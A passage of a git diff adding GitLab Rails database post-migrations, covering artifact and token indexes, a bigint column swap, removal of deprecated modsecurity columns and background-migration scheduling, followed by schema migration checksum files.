--- /dev/null
+++ b/db/post_migrate/20210614124111_add_devops_adoption_sast_dast_indexes.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionSastDastIndexes < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_SAST = 'index_ci_job_artifacts_sast_for_devops_adoption'
+ INDEX_DAST = 'index_ci_job_artifacts_dast_for_devops_adoption'
+
+ def up
+ add_concurrent_index :ci_job_artifacts, [:project_id, :created_at], where: "file_type = 5", name: INDEX_SAST
+ add_concurrent_index :ci_job_artifacts, [:project_id, :created_at], where: "file_type = 8", name: INDEX_DAST
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_job_artifacts, INDEX_SAST
+ remove_concurrent_index_by_name :ci_job_artifacts, INDEX_DAST
+ end
+end
diff --git a/db/post_migrate/20210615234935_fix_batched_migrations_old_format_job_arguments.rb b/db/post_migrate/20210615234935_fix_batched_migrations_old_format_job_arguments.rb
new file mode 100644
index 00000000000..535f7426938
--- /dev/null
+++ b/db/post_migrate/20210615234935_fix_batched_migrations_old_format_job_arguments.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class FixBatchedMigrationsOldFormatJobArguments < ActiveRecord::Migration[6.1]
+ class BatchedMigration < ActiveRecord::Base
+ self.table_name = 'batched_background_migrations'
+ end
+
+ def up
+ # rubocop:disable Style/WordArray
+ [
+ ['events', 'id', ['id', 'id_convert_to_bigint'], [['id'], ['id_convert_to_bigint']]],
+ ['push_event_payloads', 'event_id', ['event_id', 'event_id_convert_to_bigint'], [['event_id'], ['event_id_convert_to_bigint']]]
+ ].each do |table_name, column_name, legacy_job_arguments, current_job_arguments|
+ base_scope = BatchedMigration
+ .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob', table_name: table_name, column_name: column_name)
+ # rubocop:enable Style/WordArray
+
+ # rubocop:disable Rails/WhereEquals
+ base_scope
+ .where('job_arguments = ?', legacy_job_arguments.to_json)
+ .where('NOT EXISTS (?)', base_scope.select('1').where('job_arguments = ?', current_job_arguments.to_json))
+ .update_all(job_arguments: current_job_arguments)
+ # rubocop:enable Rails/WhereEquals
+ end
+ end
+
+ def down
+ # No-op, there is no way to know were the existing record migrated from
+ # legacy job arguments, or were using the current format from the start.
+ # There is no reason to go back anyway.
+ end
+end
diff --git a/db/post_migrate/20210616145254_add_partial_index_for_ci_builds_token.rb b/db/post_migrate/20210616145254_add_partial_index_for_ci_builds_token.rb
new file mode 100644
index 00000000000..6e169a6f0e1
--- /dev/null
+++ b/db/post_migrate/20210616145254_add_partial_index_for_ci_builds_token.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddPartialIndexForCiBuildsToken < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ NAME = 'index_ci_builds_on_token_partial'
+
+ def up
+ add_concurrent_index :ci_builds, :token, unique: true, where: 'token IS NOT NULL', name: NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_builds, NAME
+ end
+end
diff --git a/db/post_migrate/20210621111747_add_ci_artifacts_devops_adoption_index.rb b/db/post_migrate/20210621111747_add_ci_artifacts_devops_adoption_index.rb
new file mode 100644
index 00000000000..71fd61072ac
--- /dev/null
+++ b/db/post_migrate/20210621111747_add_ci_artifacts_devops_adoption_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+#
+class AddCiArtifactsDevopsAdoptionIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ NEW_INDEX = 'index_ci_job_artifacts_on_file_type_for_devops_adoption'
+
+ def up
+ add_concurrent_index :ci_job_artifacts, [:file_type, :project_id, :created_at], name: NEW_INDEX, where: 'file_type IN (5,6,8,23)'
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_job_artifacts, NEW_INDEX
+ end
+end
diff --git a/db/post_migrate/20210621155328_replace_project_authorizations_project_id_index.rb b/db/post_migrate/20210621155328_replace_project_authorizations_project_id_index.rb
new file mode 100644
index 00000000000..498090c3ab9
--- /dev/null
+++ b/db/post_migrate/20210621155328_replace_project_authorizations_project_id_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class ReplaceProjectAuthorizationsProjectIdIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ OLD_INDEX_NAME = 'index_project_authorizations_on_project_id'
+ NEW_INDEX_NAME = 'index_project_authorizations_on_project_id_user_id'
+
+ def up
+ add_concurrent_index(:project_authorizations, [:project_id, :user_id], name: NEW_INDEX_NAME)
+ remove_concurrent_index_by_name(:project_authorizations, OLD_INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:project_authorizations, :project_id, name: OLD_INDEX_NAME)
+ remove_concurrent_index_by_name(:project_authorizations, NEW_INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20210621164210_drop_remove_on_close_from_labels.rb b/db/post_migrate/20210621164210_drop_remove_on_close_from_labels.rb
new file mode 100644
index 00000000000..0430c8447d9
--- /dev/null
+++ b/db/post_migrate/20210621164210_drop_remove_on_close_from_labels.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class DropRemoveOnCloseFromLabels < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ # Migration that adds column was reverted, but run in Gitlab SaaS stg and prod
+ return unless column_exists?(:labels, :remove_on_close)
+
+ with_lock_retries do
+ remove_column :labels, :remove_on_close
+ end
+ end
+
+ def down
+ # No rollback as the original migration was reverted in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62056
+ # up simply removes the column from envs where the original migration was run
+ end
+end
diff --git a/db/post_migrate/20210621223000_steal_background_jobs_that_reference_services.rb b/db/post_migrate/20210621223000_steal_background_jobs_that_reference_services.rb
new file mode 100644
index 00000000000..8d326036a68
--- /dev/null
+++ b/db/post_migrate/20210621223000_steal_background_jobs_that_reference_services.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class StealBackgroundJobsThatReferenceServices < ActiveRecord::Migration[6.1]
+ def up
+ Gitlab::BackgroundMigration.steal('BackfillJiraTrackerDeploymentType2')
+ Gitlab::BackgroundMigration.steal('FixProjectsWithoutPrometheusService')
+ Gitlab::BackgroundMigration.steal('MigrateIssueTrackersSensitiveData')
+ Gitlab::BackgroundMigration.steal('RemoveDuplicateServices')
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210621223242_finalize_rename_services_to_integrations.rb b/db/post_migrate/20210621223242_finalize_rename_services_to_integrations.rb
new file mode 100644
index 00000000000..803a6fa0aca
--- /dev/null
+++ b/db/post_migrate/20210621223242_finalize_rename_services_to_integrations.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class FinalizeRenameServicesToIntegrations < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ finalize_table_rename(:services, :integrations)
+ end
+
+ def down
+ undo_finalize_table_rename(:services, :integrations)
+ end
+end
diff --git a/db/post_migrate/20210622041846_finalize_push_event_payloads_bigint_conversion.rb b/db/post_migrate/20210622041846_finalize_push_event_payloads_bigint_conversion.rb
new file mode 100644
index 00000000000..38b081e3e5e
--- /dev/null
+++ b/db/post_migrate/20210622041846_finalize_push_event_payloads_bigint_conversion.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+class FinalizePushEventPayloadsBigintConversion < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ TABLE_NAME = 'push_event_payloads'
+ INDEX_NAME = 'index_push_event_payloads_on_event_id_convert_to_bigint'
+
+ def up
+ return unless should_run?
+
+ ensure_batched_background_migration_is_finished(
+ job_class_name: 'CopyColumnUsingBackgroundMigrationJob',
+ table_name: TABLE_NAME,
+ column_name: 'event_id',
+ job_arguments: [["event_id"], ["event_id_convert_to_bigint"]]
+ )
+
+ swap_columns
+ end
+
+ def down
+ return unless should_run?
+
+ swap_columns
+ end
+
+ private
+
+ def should_run?
+ Gitlab.dev_or_test_env? || Gitlab.com?
+ end
+
+ def swap_columns
+ add_concurrent_index TABLE_NAME, :event_id_convert_to_bigint, unique: true, name: INDEX_NAME
+
+ # Add a foreign key on `event_id_convert_to_bigint` before we swap the columns and drop the old FK (fk_36c74129da)
+ add_concurrent_foreign_key TABLE_NAME, :events, column: :event_id_convert_to_bigint, on_delete: :cascade
+
+ with_lock_retries(raise_on_exhaustion: true) do
+ # Swap column names
+ temp_name = 'event_id_tmp'
+ execute "ALTER TABLE #{quote_table_name(TABLE_NAME)} RENAME COLUMN #{quote_column_name(:event_id)} TO #{quote_column_name(temp_name)}"
+ execute "ALTER TABLE #{quote_table_name(TABLE_NAME)} RENAME COLUMN #{quote_column_name(:event_id_convert_to_bigint)} TO #{quote_column_name(:event_id)}"
+ execute "ALTER TABLE #{quote_table_name(TABLE_NAME)} RENAME COLUMN #{quote_column_name(temp_name)} TO #{quote_column_name(:event_id_convert_to_bigint)}"
+
+ # We need to update the trigger function in order to make PostgreSQL to
+ # regenerate the execution plan for it. This is to avoid type mismatch errors like
+ # "type of parameter 15 (bigint) does not match that when preparing the plan (integer)"
+ function_name = Gitlab::Database::UnidirectionalCopyTrigger.on_table(TABLE_NAME).name(:event_id, :event_id_convert_to_bigint)
+ execute "ALTER FUNCTION #{quote_table_name(function_name)} RESET ALL"
+
+ # Swap defaults
+ change_column_default TABLE_NAME, :event_id, nil
+ change_column_default TABLE_NAME, :event_id_convert_to_bigint, 0
+
+ # Swap PK constraint
+ execute "ALTER TABLE #{TABLE_NAME} DROP CONSTRAINT push_event_payloads_pkey"
+ rename_index TABLE_NAME, INDEX_NAME, 'push_event_payloads_pkey'
+ execute "ALTER TABLE #{TABLE_NAME} ADD CONSTRAINT push_event_payloads_pkey PRIMARY KEY USING INDEX push_event_payloads_pkey"
+
+ # Drop original FK on the old int4 `event_id` (fk_36c74129da)
+ remove_foreign_key TABLE_NAME, name: concurrent_foreign_key_name(TABLE_NAME, :event_id)
+ # We swapped the columns but the FK for event_id is still using the old name for the event_id_convert_to_bigint column
+ # So we have to also swap the FK name now that we dropped the other one with the same
+ rename_constraint(
+ TABLE_NAME,
+ concurrent_foreign_key_name(TABLE_NAME, :event_id_convert_to_bigint),
+ concurrent_foreign_key_name(TABLE_NAME, :event_id)
+ )
+ end
+ end
+end
diff --git a/db/post_migrate/20210622141148_schedule_delete_orphaned_deployments.rb b/db/post_migrate/20210622141148_schedule_delete_orphaned_deployments.rb
new file mode 100644
index 00000000000..cbd0d0ea3a2
--- /dev/null
+++ b/db/post_migrate/20210622141148_schedule_delete_orphaned_deployments.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class ScheduleDeleteOrphanedDeployments < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ MIGRATION = 'DeleteOrphanedDeployments'
+ BATCH_SIZE = 100_000
+ DELAY_INTERVAL = 2.minutes
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('deployments'),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210628124505_reset_job_token_scope_enabled.rb b/db/post_migrate/20210628124505_reset_job_token_scope_enabled.rb
new file mode 100644
index 00000000000..1176e704d0a
--- /dev/null
+++ b/db/post_migrate/20210628124505_reset_job_token_scope_enabled.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ResetJobTokenScopeEnabled < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ remove_column :project_ci_cd_settings, :job_token_scope_enabled
+ add_column :project_ci_cd_settings, :job_token_scope_enabled, :boolean, default: false, null: false
+ end
+ end
+
+ def down
+ # Irreversible
+ end
+end
diff --git a/db/post_migrate/20210629101712_remove_deprecated_modsecurity_columns.rb b/db/post_migrate/20210629101712_remove_deprecated_modsecurity_columns.rb
new file mode 100644
index 00000000000..371298aef62
--- /dev/null
+++ b/db/post_migrate/20210629101712_remove_deprecated_modsecurity_columns.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RemoveDeprecatedModsecurityColumns < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_clusters_applications_ingress_on_modsecurity'
+
+ def up
+ remove_column :clusters_applications_ingress, :modsecurity_enabled if column_exists?(:clusters_applications_ingress, :modsecurity_enabled)
+ remove_column :clusters_applications_ingress, :modsecurity_mode if column_exists?(:clusters_applications_ingress, :modsecurity_mode)
+ end
+
+ def down
+ add_column :clusters_applications_ingress, :modsecurity_enabled, :boolean unless column_exists?(:clusters_applications_ingress, :modsecurity_enabled)
+ add_column :clusters_applications_ingress, :modsecurity_mode, :smallint, null: false, default: 0 unless column_exists?(:clusters_applications_ingress, :modsecurity_mode)
+
+ add_concurrent_index :clusters_applications_ingress, [:modsecurity_enabled, :modsecurity_mode, :cluster_id], name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210629104933_drop_index_on_ci_builds_for_token.rb b/db/post_migrate/20210629104933_drop_index_on_ci_builds_for_token.rb
new file mode 100644
index 00000000000..cc26db924fe
--- /dev/null
+++ b/db/post_migrate/20210629104933_drop_index_on_ci_builds_for_token.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class DropIndexOnCiBuildsForToken < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEXNAME = :index_ci_builds_on_token
+
+ def up
+ remove_concurrent_index_by_name :ci_builds, INDEXNAME
+ end
+
+ def down
+ add_concurrent_index :ci_builds, :token, unique: true, name: INDEXNAME
+ end
+end
diff --git a/db/post_migrate/20210630025020_migrate_push_event_payloads_event_id_back_to_integer_for_gitlab_com.rb b/db/post_migrate/20210630025020_migrate_push_event_payloads_event_id_back_to_integer_for_gitlab_com.rb
new file mode 100644
index 00000000000..834a23a5c7a
--- /dev/null
+++ b/db/post_migrate/20210630025020_migrate_push_event_payloads_event_id_back_to_integer_for_gitlab_com.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require Rails.root.join('db', 'post_migrate', '20210622041846_finalize_push_event_payloads_bigint_conversion')
+
+class MigratePushEventPayloadsEventIdBackToIntegerForGitlabCom < ActiveRecord::Migration[6.1]
+ disable_ddl_transaction!
+
+ def up
+ FinalizePushEventPayloadsBigintConversion.new.down
+ end
+
+ def down
+ FinalizePushEventPayloadsBigintConversion.new.up
+ end
+end
diff --git a/db/post_migrate/20210701111909_backfill_issues_upvotes_count.rb b/db/post_migrate/20210701111909_backfill_issues_upvotes_count.rb
new file mode 100644
index 00000000000..0afc0bc1d08
--- /dev/null
+++ b/db/post_migrate/20210701111909_backfill_issues_upvotes_count.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class BackfillIssuesUpvotesCount < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ MIGRATION = 'BackfillUpvotesCountOnIssues'
+ DELAY_INTERVAL = 2.minutes
+ BATCH_SIZE = 5_000
+
+ def up
+ scope = Issue.joins("INNER JOIN award_emoji e ON e.awardable_id = issues.id AND e.awardable_type = 'Issue' AND e.name = 'thumbsup'")
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ scope,
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210706115312_add_upvotes_count_index_to_issues.rb b/db/post_migrate/20210706115312_add_upvotes_count_index_to_issues.rb
new file mode 100644
index 00000000000..65ec43930ea
--- /dev/null
+++ b/db/post_migrate/20210706115312_add_upvotes_count_index_to_issues.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddUpvotesCountIndexToIssues < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_issues_on_project_id_and_upvotes_count'
+
+ def up
+ add_concurrent_index :issues, [:project_id, :upvotes_count], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :issues, [:project_id, :upvotes_count], name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210706120847_remove_framework_column_from_compliance_management_frameworks.rb b/db/post_migrate/20210706120847_remove_framework_column_from_compliance_management_frameworks.rb
new file mode 100644
index 00000000000..73344ee061f
--- /dev/null
+++ b/db/post_migrate/20210706120847_remove_framework_column_from_compliance_management_frameworks.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class RemoveFrameworkColumnFromComplianceManagementFrameworks < ActiveRecord::Migration[6.1]
+ def change
+ remove_column :project_compliance_framework_settings, :framework, :smallint
+ end
+end
diff --git a/db/post_migrate/20210706142819_re_schedule_latest_pipeline_id_population.rb b/db/post_migrate/20210706142819_re_schedule_latest_pipeline_id_population.rb
new file mode 100644
index 00000000000..709e0be8b79
--- /dev/null
+++ b/db/post_migrate/20210706142819_re_schedule_latest_pipeline_id_population.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class ReScheduleLatestPipelineIdPopulation < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 100
+ MIGRATION = 'PopulateLatestPipelineIds'
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.ee?
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ Gitlab::BackgroundMigration::PopulateLatestPipelineIds::ProjectSetting.has_vulnerabilities_without_latest_pipeline_set,
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ primary_column_name: 'project_id'
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210708130419_reschedule_merge_request_diff_users_background_migration.rb b/db/post_migrate/20210708130419_reschedule_merge_request_diff_users_background_migration.rb
new file mode 100644
index 00000000000..53f13ca96d2
--- /dev/null
+++ b/db/post_migrate/20210708130419_reschedule_merge_request_diff_users_background_migration.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+class RescheduleMergeRequestDiffUsersBackgroundMigration < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ # The number of rows to process in a single migration job.
+ #
+ # The minimum interval for background migrations is two minutes. On staging we
+ # observed we can process roughly 20 000 rows in a minute. Based on the total
+ # number of rows on staging, this translates to a total processing time of
+ # roughly 14 days.
+ #
+ # By using a batch size of 40 000, we maintain a rate of roughly 20 000 rows
+ # per minute, hopefully keeping the total migration time under two weeks;
+ # instead of four weeks.
+ BATCH_SIZE = 40_000
+
+ MIGRATION_NAME = 'MigrateMergeRequestDiffCommitUsers'
+
+ class MergeRequestDiff < ActiveRecord::Base
+ self.table_name = 'merge_request_diffs'
+ end
+
+ def up
+ start = MergeRequestDiff.minimum(:id).to_i
+ max = MergeRequestDiff.maximum(:id).to_i
+ delay = BackgroundMigrationWorker.minimum_interval
+
+ Gitlab::Database::BackgroundMigrationJob
+ .where(class_name: MIGRATION_NAME)
+ .delete_all
+
+ # The table merge_request_diff_commits contains _a lot_ of rows (roughly 400
+ # 000 000 on staging). Iterating a table that large to determine job ranges
+ # would take a while.
+ #
+ # To avoid that overhead, we simply schedule fixed ranges according to the
+ # minimum and maximum IDs. The background migration in turn only processes
+ # rows that actually exist.
+ while start < max
+ stop = start + BATCH_SIZE
+
+ migrate_in(delay, MIGRATION_NAME, [start, stop])
+
+ Gitlab::Database::BackgroundMigrationJob
+ .create!(class_name: MIGRATION_NAME, arguments: [start, stop])
+
+ delay += BackgroundMigrationWorker.minimum_interval
+ start += BATCH_SIZE
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/schema_migrations/20210317210338 b/db/schema_migrations/20210317210338
new file mode 100644
index 00000000000..15400399589
--- /dev/null
+++ b/db/schema_migrations/20210317210338
@@ -0,0 +1 @@
+e915378e1ebb78b528abfecda55cdc52a690d982e4377876b818197b3134c09a \ No newline at end of file
diff --git a/db/schema_migrations/20210601132134 b/db/schema_migrations/20210601132134
new file mode 100644
index 00000000000..3fa9505de2f
--- /dev/null
+++ b/db/schema_migrations/20210601132134
@@ -0,0 +1 @@
+966299fecd160b594f0837f19cc01b38fc365fa749982f9245c296d912e3eb2f \ No newline at end of file
diff --git a/db/schema_migrations/20210602155056 b/db/schema_migrations/20210602155056
new file mode 100644
index 00000000000..4c6f7f95874
--- /dev/null
+++ b/db/schema_migrations/20210602155056
@@ -0,0 +1 @@
+42b3090efee66f5a7a5c06d8768d1417892c5d6745f60163a09f58e6e3722761 \ No newline at end of file
diff --git a/db/schema_migrations/20210602155110 b/db/schema_migrations/20210602155110
new file mode 100644
index 00000000000..127375dc477
--- /dev/null
+++ b/db/schema_migrations/20210602155110
@@ -0,0 +1 @@
+aa04d433e400ed3ec11e5d40ada72f122b1d8b7a82f8803d9206da5c94ec5ef9 \ No newline at end of file
diff --git a/db/schema_migrations/20210602164044 b/db/schema_migrations/20210602164044
new file mode 100644
index 00000000000..4574aaf9cb9
--- /dev/null
+++ b/db/schema_migrations/20210602164044
@@ -0,0 +1 @@
+6c617b919e6e0cba0bd62cc0d5056dcad3ebe1a9ce25102a288de5456cbaa6c3 \ No newline at end of file
diff --git a/db/schema_migrations/20210604032738 b/db/schema_migrations/20210604032738
new file mode 100644
index 00000000000..1bd62357c71
--- /dev/null
+++ b/db/schema_migrations/20210604032738
@@ -0,0 +1 @@
+fa373e98739d57d829273cfa9246137e2c151be67e97183c1dcdb288150aaeb5 \ No newline at end of file
diff --git a/db/schema_migrations/20210604034158 b/db/schema_migrations/20210604034158
new file mode 100644
index 00000000000..06b04764628
--- /dev/null
+++ b/db/schema_migrations/20210604034158
@@ -0,0 +1 @@
+c7cf4aad7637d793d1ace8fee02111bc9b0d2eea09efadb0fd616bc5c5e5550c \ No newline at end of file
diff --git a/db/schema_migrations/20210604034354 b/db/schema_migrations/20210604034354
new file mode 100644
index 00000000000..a76242b3412
--- /dev/null
+++ b/db/schema_migrations/20210604034354
@@ -0,0 +1 @@
+da868be7c8edefc462110b5b36415870cc0c7c59dba1e3d514348011a9e70642 \ No newline at end of file
diff --git a/db/schema_migrations/20210604051330 b/db/schema_migrations/20210604051330
new file mode 100644
index 00000000000..74140921c2f
--- /dev/null
+++ b/db/schema_migrations/20210604051330
@@ -0,0 +1 @@
+2d025932dca7a407968e14872ce053461e69550098ca089d4e6ece323d240927 \ No newline at end of file
diff --git a/db/schema_migrations/20210604051742 b/db/schema_migrations/20210604051742
new file mode 100644
index 00000000000..32ed06dafff
--- /dev/null
+++ b/db/schema_migrations/20210604051742
@@ -0,0 +1 @@
+7529373266b6c9b179367d5fa8775f5e2ad600008957b3a821d689aec70c7407 \ No newline at end of file
diff --git a/db/schema_migrations/20210604051917 b/db/schema_migrations/20210604051917
new file mode 100644
index 00000000000..0034d9988e7
--- /dev/null
+++ b/db/schema_migrations/20210604051917
@@ -0,0 +1 @@
+3818094a4470ff7d0c105c000655dac4205e8265f78df638df0e2ef3dc6deaf3 \ No newline at end of file
diff --git a/db/schema_migrations/20210604133651 b/db/schema_migrations/20210604133651
new file mode 100644
index 00000000000..7c6394cd470
--- /dev/null
+++ b/db/schema_migrations/20210604133651
@@ -0,0 +1 @@
+0c01bb41113c468a602649b591e1fd2959a6e3190c835ef2e27351cf69f50fd5 \ No newline at end of file
diff --git a/db/schema_migrations/20210609202501 b/db/schema_migrations/20210609202501
new file mode 100644
index 00000000000..ad71feddcfc
--- /dev/null
+++ b/db/schema_migrations/20210609202501
@@ -0,0 +1 @@
+93f577e2fe2dcc0daafc4ff7e15a4511a2e9f86f05f9892f5c7625f11bfce3ae \ No newline at end of file
diff --git a/db/schema_migrations/20210610042700 b/db/schema_migrations/20210610042700
new file mode 100644
index 00000000000..ef0f3e34f48
--- /dev/null
+++ b/db/schema_migrations/20210610042700
@@ -0,0 +1 @@
+f8b8276ed7e120b61f6748a328590a98f0e444e0d26bcb1a2b0daa54c3643acd \ No newline at end of file
diff --git a/db/schema_migrations/20210610153556 b/db/schema_migrations/20210610153556
new file mode 100644
index 00000000000..71b71a671c4
--- /dev/null
+++ b/db/schema_migrations/20210610153556
@@ -0,0 +1 @@
+39ca841ce1de3faadee41fbb756d80c98efd853fbbffa7cb3f8f9de56752078b \ No newline at end of file
diff --git a/db/schema_migrations/20210611101034 b/db/schema_migrations/20210611101034
new file mode 100644
index 00000000000..70712a32be1
--- /dev/null
+++ b/db/schema_migrations/20210611101034
@@ -0,0 +1 @@
+a535348229ff5e9e3c5b530ded9407df9f4308fc4d9967106bf246d7267c2a48 \ No newline at end of file
diff --git a/db/schema_migrations/20210614124111 b/db/schema_migrations/20210614124111
new file mode 100644
index 00000000000..25427277070
--- /dev/null
+++ b/db/schema_migrations/20210614124111
@@ -0,0 +1 @@
+30c6316f3931075bd8b167e06af5d80b7ece65f428d1fa7602ab27b526bc8410 \ No newline at end of file
diff --git a/db/schema_migrations/20210614142311 b/db/schema_migrations/20210614142311
new file mode 100644
index 00000000000..69a2472990a
--- /dev/null
+++ b/db/schema_migrations/20210614142311
@@ -0,0 +1 @@
+5dc0a4f91dc35b7720b20e89fa77374a0337c380b9234704e7d4143639e512f0 \ No newline at end of file
diff --git a/db/schema_migrations/20210615064342 b/db/schema_migrations/20210615064342
new file mode 100644
index 00000000000..a126cd6258e
--- /dev/null
+++ b/db/schema_migrations/20210615064342
@@ -0,0 +1 @@
+509f30d8772e24efc52c5aa12ebcde084f7ded8d228109bbbdda2f21d3235512 \ No newline at end of file
diff --git a/db/schema_migrations/20210615234935 b/db/schema_migrations/20210615234935
new file mode 100644
index 00000000000..83e43f74a53
--- /dev/null
+++ b/db/schema_migrations/20210615234935
@@ -0,0 +1 @@
+205336e95a6e3c9fa8c56fa67e66ef3023ba8c6cd4e6f3599160b74b3fbfaa3c \ No newline at end of file
diff --git a/db/schema_migrations/20210616110748 b/db/schema_migrations/20210616110748
new file mode 100644
index 00000000000..06cab110a99
--- /dev/null
+++ b/db/schema_migrations/20210616110748
@@ -0,0 +1 @@
+8207eb9917b4d02f39cd9e9eca9ec0e001266b25b3378f09e4e8c27ff22b6e73 \ No newline at end of file
diff --git a/db/schema_migrations/20210616111311 b/db/schema_migrations/20210616111311
new file mode 100644
index 00000000000..070f9adfcda
--- /dev/null
+++ b/db/schema_migrations/20210616111311
@@ -0,0 +1 @@
+fd014b505ecd162c232da23a10c34dc4b1f1dbe8fe357a0f20585479b25d50bc \ No newline at end of file
diff --git a/db/schema_migrations/20210616134905 b/db/schema_migrations/20210616134905
new file mode 100644
index 00000000000..90658174989
--- /dev/null
+++ b/db/schema_migrations/20210616134905
@@ -0,0 +1 @@
+52843d12ab18b92c71a334cf877682d9fae57632cf0ba14213dfc0543e39cf1b \ No newline at end of file
diff --git a/db/schema_migrations/20210616145254 b/db/schema_migrations/20210616145254
new file mode 100644
index 00000000000..e5d7553d883
--- /dev/null
+++ b/db/schema_migrations/20210616145254
@@ -0,0 +1 @@
+525fbdd66dcabbf1e6d0430468600f86fbc3c00dcfdab1c5a052294d7d73de37 \ No newline at end of file
diff --git a/db/schema_migrations/20210616154808 b/db/schema_migrations/20210616154808
new file mode 100644
index 00000000000..be7d5811540
--- /dev/null
+++ b/db/schema_migrations/20210616154808
@@ -0,0 +1 @@
+adfa07888317cb7f22062f5d23906bc01de579305acb3bb3384f18e3f581a87b \ No newline at end of file
diff --git a/db/schema_migrations/20210616185947 b/db/schema_migrations/20210616185947
new file mode 100644
index 00000000000..30275f102dc
--- /dev/null
+++ b/db/schema_migrations/20210616185947
@@ -0,0 +1 @@
+8d73f4b4b716176afe5a9b0ee3a4ef28bbbc2fe944a18fb66afa8cf8f763e8ac \ No newline at end of file
diff --git a/db/schema_migrations/20210617022324 b/db/schema_migrations/20210617022324
new file mode 100644
index 00000000000..40bace34b4c
--- /dev/null
+++ b/db/schema_migrations/20210617022324
@@ -0,0 +1 @@
+fa4f1ec80e7039e59d283dc6effd6904ca33c637d27c687d990822eb2f6198e5 \ No newline at end of file
diff --git a/db/schema_migrations/20210617161348 b/db/schema_migrations/20210617161348
new file mode 100644
index 00000000000..238f969d304
--- /dev/null
+++ b/db/schema_migrations/20210617161348
@@ -0,0 +1 @@
+3f73aa7d2cff11d00b330d88e76daaa058f82b7012da3c244f246da6e538921c \ No newline at end of file
diff --git a/db/schema_migrations/20210617180131 b/db/schema_migrations/20210617180131
new file mode 100644
index 00000000000..b44f82a3311
--- /dev/null
+++ b/db/schema_migrations/20210617180131
@@ -0,0 +1 @@
+2adb38e71c6173350d1f98f3237b692e4f12c8a073115be23f3a713f69cde911 \ No newline at end of file
diff --git a/db/schema_migrations/20210621043337 b/db/schema_migrations/20210621043337
new file mode 100644
index 00000000000..1dd6b0ac1dd
--- /dev/null
+++ b/db/schema_migrations/20210621043337
@@ -0,0 +1 @@
+cfe35a1297c4a92c4b5e62757ed74c11ffd6f207777291c11b05a4e3cee91618 \ No newline at end of file
diff --git a/db/schema_migrations/20210621044000 b/db/schema_migrations/20210621044000
new file mode 100644
index 00000000000..0b620576357
--- /dev/null
